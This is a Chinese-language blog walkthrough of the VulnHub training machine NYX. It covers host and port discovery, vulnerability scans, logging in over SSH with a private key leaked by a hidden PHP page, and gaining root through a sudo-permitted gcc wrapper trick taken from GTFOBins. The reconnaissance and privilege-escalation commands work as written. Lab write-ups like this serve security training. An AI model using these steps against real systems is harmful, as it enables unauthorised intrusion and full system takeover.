🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
前言
一、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
nikto漏洞扫描
nmap漏洞扫描
二、调试测试
1、web渗透+信息收集
2、OpenSSH 私钥 免密码登录
3、user.txt
三、提权
1、sudo提权
2、利用gcc提权
3、root权限
前言
靶机精讲之NYX,是一台vulnhub靶机,不难,准确地说如果找到入口就不难,如果找不到入口,可能就不知道从哪里突破,这个环节是值得反思的,否则你可能认为这是一台很难的机器。提权阶段还是强调living off the land的思想和应用,靶机规模不大,但是确是对一个渗透测试人员的基本功的考验。
一、信息收集
1、主机探测
发现靶机的IP地址是192.168.103.155
┌──(root??kali)-[~/桌面]
└─# arp-scan -l
2、端口扫描
扫描发现靶机开放了22、80端口
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.155
3、漏洞扫描
nikto漏洞扫描
nikto扫描发现了靶机的一些版本信息,包括一些漏洞,但是这些漏洞都需要我们后面去证实,后面如果没有什么突破,我们可以再回过头来去尝试下。
┌──(root??kali)-[~/桌面]
└─# nikto -h 192.168.103.155
nmap漏洞扫描
利用nmap的漏洞扫描,发现了靶机的一个隐藏目录,我们后面在进行web渗透测试的时候,可以访问下。
┌──(root??kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 192.168.103.155 --script=vuln 参数来指定 nmap 使用漏洞扫描脚本。
另外,-p22,80 参数指定了扫描的端口范围,即 22 和 80。
二、调试测试
1、web渗透+信息收集
我们直接访问,web80端口的页面,发现是个静态的web页面,没有什么价值,像一般碰到静态的web页面,我们可以尝试查看网站源代码
发现源代码,提示我们不要在这里浪费时间,让我们到别的地方去寻找线索
访问我们开始利用namp扫描出来的 那个目录:/d41d8cd98f00b204e9800998ecf8427e.php
发现是个OpenSSH 私钥,我们后面可以尝试利用OpenSSH 私钥进行免密码登录ssh
2、OpenSSH 私钥 免密码登录
我们把靶机的OpenSSH 私钥,保存到id_rsa文件里面,后面利用这个私钥进行免密码登录
我们现在尝试寻找ssh登录的用户,在实际的渗透测试下,如果我们没有找到ssh私钥的用户,我们可以尝试下root用户,但是这个靶场不是root用户
我们发现左上角的这个url的标题,显示是mpampis 的key,说明可能是这个用户的openssl 私钥
我们利用下面的一个很像base64编码的一串解码,发现也是这个用户,说明openssh的私钥就是这个用户
私钥文件 “id_rsa” 的权限设置有问题。SSH 客户端要求私钥文件的权限必须是非常严格的,通常是 600 或者 400,表示只有拥有者才可读写。
chmod 600 id_rsa
发现利用openssl私钥免密码登录成功了
┌──(root💀kali)-[~/桌面]
└─# ssh -i id_rsa mpampis@192.168.103.155 2 ⚙
Linux nyx 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
███▄▄▄▄ ▄██ ▄ ▀████ ▐████▀
███▀▀▀██▄ ███ ██▄ ███▌ ████▀
███ ███ ███▄▄▄███ ███ ▐███
███ ███ ▀▀▀▀▀▀███ ▀███▄███▀
███ ███ ▄██ ███ ████▀██▄
███ ███ ███ ███ ▐███ ▀███
███ ███ ███ ███ ▄███ ███▄ ▀█ █▀ ▀█████▀ ████ ███▄
Last login: Mon Feb 12 05:00:15 2024 from 192.168.103.129
mpampis@nyx:~$ id
uid=1000(mpampis) gid=1000(mpampis) groups=1000(mpampis),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
mpampis@nyx:~$
3、user.txt
成功拿到root的flag
mpampis@nyx:~$ cd /home
mpampis@nyx:/home$ ls
mpampis
mpampis@nyx:/home$ cd mpampis/
mpampis@nyx:~$ ls
user.txt
mpampis@nyx:~$ cat user.txt
2cb67a256530577868009a5944d12637
三、提权
1、sudo提权
cat /etc/crontab查看是否有定时进程,发现没有定时任务
mpampis@nyx:~$ cat /etc/crontab
查看哪些具有SUID提权
mpampis@nyx:~$ find / -user root -perm -4000 -print 2>/dev/null
- 这个命令运行了
find
工具,在整个文件系统中寻找属主为 root,且设置了 SUID 权限(权限为 4000)的文件,并将搜索结果输出到标准输出。2>/dev/null
将错误输出重定向到空设备,以避免在标准输出中看到不相关的错误信息。 - 这个命令的目的可能是寻找拥有 root 权限的 SUID 文件,因为这些文件在一些安全漏洞中可能会被利用。
sudo提权
sudo 命令通常用于赋予特定用户或用户组在系统上执行特权操作的权限,而 (root) NOPASSWD 说明了用户 mpampis 可以以 root 权限执行指定的命令而无需输入密码。
mpampis@nyx:~$ sudo -l
Matching Defaults entries for mpampis on nyx:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser mpampis may run the following commands on nyx:(root) NOPASSWD: /usr/bin/gcc
2、利用gcc提权
这里给大家分享一个我平常做渗透测试的一个很好用的一个提权网站给大家:GTFOBins
GTFOBins https://gtfobins.github.io/
这里直接检索gcc,然后点击sudo提权
sudo gcc -wrapper /bin/bash,-s .
3、root权限
发现成功提权到root权限了
mpampis@nyx:~$ sudo gcc -wrapper /bin/bash,-s .
root@nyx:~# id
uid=0(root) gid=0(root) groups=0(root)
root@nyx:/home/mpampis# cd /root
root@nyx:~# ls
root.txt
root@nyx:~# cat root.txt
root@nyx:~#